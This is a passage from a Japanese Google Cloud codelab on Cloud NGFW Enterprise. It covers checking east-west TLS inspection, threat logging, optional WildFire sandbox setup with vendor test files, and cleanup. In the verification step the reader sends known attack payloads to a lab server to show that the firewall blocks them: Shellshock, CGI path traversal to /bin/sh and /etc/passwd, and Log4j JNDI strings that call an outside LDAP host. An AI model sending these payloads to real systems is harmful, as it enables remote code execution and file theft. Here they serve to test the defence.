gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
12. E/W TLS インスペクションの検証
クライアントに SSH で戻り、更新された信頼構成で E/W トラフィックをテストします。
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
サーバーに対してサンプルの TLS リクエストを実行します。
curl https://$target_privateip --max-time 2
引き続き以下の出力が表示される場合は、更新が反映されるまでお待ちください。
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
予想される出力:
Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone
悪意のあるテスト トラフィックをサーバーに送信します。
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
予想される出力:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
以下の想定される出力のとおり、レスポンスは受信されません。これは、サンプル攻撃が E/W でブロックされていることを確認するものです。
13. ロギング
Cloud コンソールで [ロギング] > [ログ エクスプローラ] に移動し、以下のフィルタを入力してログをクエリします。[PROJECT_ID] は実際の project_id に置き換えてください。
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"
Cloud NGFW Enterprise のログエントリは、次のように表示されます。

ログエントリを開き、クライアント VM からサーバーに送信された攻撃が特定され、ブロックされたことを確認します(下のスクリーンショットの Apache Log4j Remote コード実行 Vulnerability)。

TLS インスペクションを使用して Cloud NGFW Enterprise をデプロイし、悪意のあるリクエストをブロックしました。
次のセクションに進み、必要に応じて高度なマルウェア サンドボックス(WildFire)を構成して検証するか、クリーンアップ手順に進みます。
14. [省略可] 高度なマルウェア サンドボックス(WildFire)を構成する
高度なマルウェア サンドボックス(WildFire)は、転送中のファイルを検査し、不明なファイルをクラウドベースのサンドボックス(Palo Alto Networks Advanced WildFire を基盤とする)に送信して詳細な行動分析を行うことで、Cloud NGFW Enterprise の脅威対策を拡張します。
高度なマルウェア サンドボックスの EULA に同意する
ファイアウォール エンドポイントで高度なマルウェア サンドボックスを有効にする前に、課金プロジェクト($billing_project)で 1 回限りのエンドユーザー使用許諾契約(EULA)を確認して同意する必要があります。EULA に同意するには、Google Cloud コンソールで [ネットワーク セキュリティ] > [ファイアウォール エンドポイント] に移動し、$prefix-$zone エンドポイントを編集して、[詳細構成] で [高度なマルウェア サンドボックス(WildFire)を有効にする] を選択し、[同意して続行] をクリックします。
ファイアウォール エンドポイントで高度なマルウェア サンドボックスを有効にする
gcloud network-security firewall-endpoints update を使用して、既存の $prefix-$zone ファイアウォール エンドポイントで高度なマルウェア サンドボックスを有効にします。
gcloud network-security firewall-endpoints update $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project \ --enable-wildfire \ --no-async
ファイアウォール エンドポイントで高度なマルウェア サンドボックスが有効になっていることを確認します。
gcloud network-security firewall-endpoints describe $prefix-$zone \ --organization $org_id \ --zone $zone
想定される出力(wildfireSettings: enabled: true と state: ACTIVE を確認):
associatedNetworks: - projects/$project_number/global/networks/$prefix-vpc associations: - name: projects/$project_number/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_number/global/networks/$prefix-vpc billingProjectId: $billing_project createTime: '2023-11-16T04:27:17.677731831Z' endpointSettings: contentCloudRegion: US_CENTRAL name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T05:15:12.104829104Z' wildfireSettings: enabled: true wildfireRegion: UNITED_STATES
WILDFIRE_ANALYSIS セキュリティ プロファイルを作成して構成する
$prefix-sp-wildfire という名前の高度なマルウェア サンドボックス(WILDFIRE_ANALYSIS)セキュリティ プロファイルを作成します。
gcloud network-security security-profiles wildfire-analysis \ create $prefix-sp-wildfire \ --organization $org_id \ --location=global
予想される出力:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be created...done.
次に、非同期送信ルールを追加して、アップロードとダウンロードの両方向(--direction=BOTH)で APK ファイルを送信します。
gcloud network-security security-profiles wildfire-analysis \ add-submission-rule $prefix-sp-wildfire \ --organization $org_id \ --location=global \ --file-types=APK \ --direction=BOTH
予想される出力:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire] to be updated...done.
構成された WILDFIRE_ANALYSIS セキュリティ プロファイルを確認します。
gcloud network-security security-profiles wildfire-analysis \ describe $prefix-sp-wildfire \ --organization $org_id \ --location=global
予想される出力:
createTime: '2026-02-20T23:56:26.279556627Z'
etag: S5I9SG6PfLz9g9wDqESHaqVwguOWmZhtlxC6-6HNbv4
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
type: WILDFIRE_ANALYSIS
updateTime: '2026-02-20T23:56:33.791742652Z'
wildfireAnalysisProfile:
wildfireInlineMlSetting: {}
wildfireSubmissionRules:
- customFileTypes:
fileTypes:
- APK
direction: BOTH
fileSelectionMode: CUSTOM_FILE_TYPES
セキュリティ プロファイル グループ($prefix-spg)を更新する
$prefix-spg を更新して $prefix-sp-wildfire をアタッチします。
gcloud network-security security-profile-groups update $prefix-spg \ --organization $org_id \ --location=global \ --wildfire-analysis-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp-wildfire
予想される出力:
Waiting for security-profile-group [organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg] to be updated...done.
ファイアウォール ポリシー ルール 900(--action=apply_security_profile_group と --tls-inspect を使用した tcp:443 経由の EGRESS)はすでに $prefix-spg を参照しているため、$prefix-$zone-client から開始された暗号化された HTTPS ファイルのダウンロードは、TLS インスペクションによって自動的に復号され、ファイアウォール ポリシー ルールを変更することなく、高度なマルウェア サンドボックスによって評価されます。
15. [省略可] 高度なマルウェア サンドボックスのファイル送信とフォレンジックを検証する
非同期サンドボックス送信とファイル形式フィルタリングをテストする
Identity-Aware Proxy(IAP)を介してクライアント VM($prefix-$zone-client)に接続します。
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
クライアント VM から、HTTPS 経由で Palo Alto Networks の公開テスト APK ファイルをダウンロードします。
curl -o /tmp/wildfire-test.apk https://wildfire.paloaltonetworks.com/publicapi/test/apk --max-time 15
次に、HTTPS 経由で Palo Alto Networks の公開テスト ELF ファイルをダウンロードします。
curl -o /tmp/wildfire-test.elf https://wildfire.paloaltonetworks.com/publicapi/test/elf --max-time 15
$prefix-sp-wildfire の送信ルールは APK ファイル(--file-types=APK)のみを対象としているため、ファイアウォールは ELF ファイルを高度なマルウェア サンドボックスに送信しません。
クライアント VM ターミナルを終了して、Cloud Shell に戻ります。
Cloud Logging で WildfireSubmissionLog を確認する
Cloud コンソールで [ロギング] > [ログ エクスプローラ] に移動し、以下のフィルタを入力してログをクエリします。[PROJECT_ID] は実際の project_id に置き換えてください。
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_wildfire"
サンドボックス分析が完了すると(通常は数分以内)、APK ファイルのダウンロードに関する WildfireSubmissionLog エントリが表示されますが、ELF ファイルのダウンロードに関する送信ログは生成されません(数分経ってもログエントリが表示されない場合は、15 分間のセキュリティ プロファイル グループの伝播ウィンドウが完了するのを待ってから、curl のダウンロードを再実行してください)。ログエントリを開き、JSON ペイロードが次のようになっていることを確認します。
{
"insertId": "3xim62fg6n786",
"jsonPayload": {
"@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.WildfireSubmissionLog",
"action": "ALLOW",
"connection": {
"clientIp": "10.0.0.2",
"clientPort": 37142,
"protocol": "tcp",
"serverIp": "104.199.115.54",
"serverPort": 443
},
"interceptInstance": {
"projectId": "$project_id",
"vm": "ngfw-enterprise-$zone-client"
},
"interceptVpc": {
"projectId": "$project_id",
"vpc": "ngfw-enterprise-vpc"
},
"securityProfileGroupDetails": {
"organizationId": "$org_id",
"securityProfileGroupId": "ngfw-enterprise-spg"
},
"wildfireDetails": {
"detectionTime": "2026-10-16T20:29:44Z",
"direction": "SERVER_TO_CLIENT",
"file": "wildfire-test-apk-file.apk",
"fileType": "APK",
"hash": "A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"repeatCount": 1,
"reportUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireReports/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"sampleUri": "https://networksecurity.usercontent.google.com/organizations/$org_id/locations/$zone/firewallEndpoints/ngfw-enterprise-$zone/wildfireSamples/A526BDAD9BD60C8A317184D3327C3A0C9DD522354D5DC5ED2B6A4633AA2C5007",
"severity": "[SEVERITY]",
"subtype": "WILDFIRE",
"verdict": "[VERDICT]"
}
},
"logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_wildfire",
"receiveTimestamp": "2026-10-16T20:29:57.880438600Z",
"resource": {
"labels": {
"id": "ngfw-enterprise-$zone",
"location": "$zone",
"resource_container": "organizations/$org_id"
},
"type": "networksecurity.googleapis.com/FirewallEndpoint"
},
"timestamp": "2026-10-16T20:29:57.880438600Z"
}
wildfireDetails のキーフィールドに注意してください。
fileType: "APK"とsubtype: "WILDFIRE"は、APK転送の非同期サンドボックス分析を確認します。fileは、サーバー(wildfire-test-apk-file.apk)から提供されるファイル名です。curl -oで使用されるローカル ファイル名とは異なる場合があります。hashは、テストサンプルの固有の SHA-256 ダイジェストを識別します。verdictとseverityは、サンドボックス分析によって決定されます。reportUriとsampleUriは、動的分析レポートと送信されたサンプルを取得するための直接リンクを提供します。
送信内容を表示してフォレンジック アーティファクトをダウンロードする
Cloud コンソールで [ネットワーク セキュリティ] > [NGFW Enterprise ログ] > [高度なマルウェア サンドボックスの送信] に移動し、プロジェクトを選択します。wildfire-test-apk-file.apk エントリをクリックすると、ファイルの SHA-256 ハッシュ、判定、ファイアウォール エンドポイントなどの送信の詳細が表示されます。送信の [その他の操作] から、[分析レポートをダウンロード] を選択して PDF の動的分析レポートをダウンロードするか、[マルウェア サンプルをダウンロード] を選択して送信されたファイルをダウンロードできます。
または、WildfireSubmissionLog エントリの reportUri 値と sampleUri 値を使用して、Cloud Shell から分析レポートとサンプルをダウンロードすることもできます。
export report_uri="<REPORT_URI_FROM_LOG>" export sample_uri="<SAMPLE_URI_FROM_LOG>" curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "$report_uri" -o wildfire-report.pdf curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "$sample_uri" -o wildfire-sample.bin
16. クリーンアップ手順
ベースセットアップのクリーンアップ
インスタンスを削除します。
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
tagAdmin ロールと tagUsers ロールが変更された場合は、次の手順を行います。
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
タグキーと値を削除します。
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Cloud Firewall ネットワーク ポリシーと関連付けを削除します。
gcloud -q compute network-firewall-policies associations delete \
--firewall-policy $prefix-fwpolicy \
--name $prefix-fwpolicy-association \
--global-firewall-policy
gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Cloud Router と Cloud NAT を削除します。
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
予約済みの IP アドレスを削除します。
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Cloud Firewall SPG、関連付け、TLS のクリーンアップ
セキュリティ プロファイル グループとセキュリティ プロファイルをこの順序で削除します(オプションの高度なマルウェア サンドボックスのセクションを完了した場合は、$prefix-spg の削除後に $prefix-sp-wildfire を削除するコマンドも実行します)。
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles wildfire-analysis \ delete $prefix-sp-wildfire \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global
Cloud Firewall エンドポイントの関連付けを削除します。
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
Cloud Firewall エンドポイントを削除します。これには約 20 分かかります。
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
必要に応じて、次のコマンドを実行して、Cloud NGFW エンドポイントが削除されたことを確認します。
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
エンドポイントの状態は次のように表示されます。
STATE: DELETING
完了すると、エンドポイントはリストに表示されなくなります。
TLS ポリシーと信頼構成を次の順序で削除します。
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region gcloud -q alpha certificate-manager trust-configs delete \ $prefix-trust-config \ --location=$region
ルート CA と CA プールを無効にして削除します。
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
サブネットと VPC のクリーンアップ
最後に、サブネットと VPC ネットワークを削除します。
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
17. 完了
これで、East-West および Northbound TLS インスペクション用の Cloud NGFW Enterprise の Codelab は終了です。